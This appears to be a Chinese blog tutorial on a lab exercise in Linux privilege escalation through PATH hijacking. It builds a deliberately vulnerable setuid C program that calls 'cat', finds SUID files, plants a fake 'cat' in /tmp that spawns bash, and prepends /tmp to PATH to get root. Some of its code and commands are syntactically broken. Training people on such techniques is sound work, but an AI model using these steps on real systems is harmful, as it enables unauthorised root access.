linux中利用环境变量PATH提权

这段时间打了很多靶机最后都有环境变量提权看来大佬自己也搭建了个环境总结了下

实验环境准备

准备一台kali模拟攻击者192.168.19.131 准备一台ubuntu模拟被攻击者IP:192.168.19.130

在ubuntu创建一个低权限用户user2

在kdu用户的工作目录下创建一个c程序调用系统命令cat

#include<unistd.h>
{
          
   
  setuid(0);
  setgid(0);
  system("cat /etc/passwd")
}

gcc编译该c程序为文件hacker、

gcc hack.c -o hacker

得到可执行文件hacker给到该文件s权限

chmod u+s hacker

验证:运行hacker文件成功

实验环境到此就搭建成功了

模拟攻击者提权

用我们刚刚创建的低权限账户user2 ssh登录目标机器

ssh user2@192.168.19.130

优化终端

python -c import pty;pty.spawn("/bin/bash")

find扫到suid文件hackerfind / -perm -u=s -type f 2</dev/null 执行该文件发现是调用系统命令cat 在tmp目录下创建一个cat文件写入echo “/bin/bash” >cat shell命令 给到cat文件权限

chmod 777 cat

查看当前的echo $PATH

因为我们的cat丢在tmp目录下把tmp设置在环境变量头部让命令先走tmp 命令export PATH=/tmp:$PATH 此时再去执行hacker文件成功提权

经验分享 程序员 微信小程序 职场和发展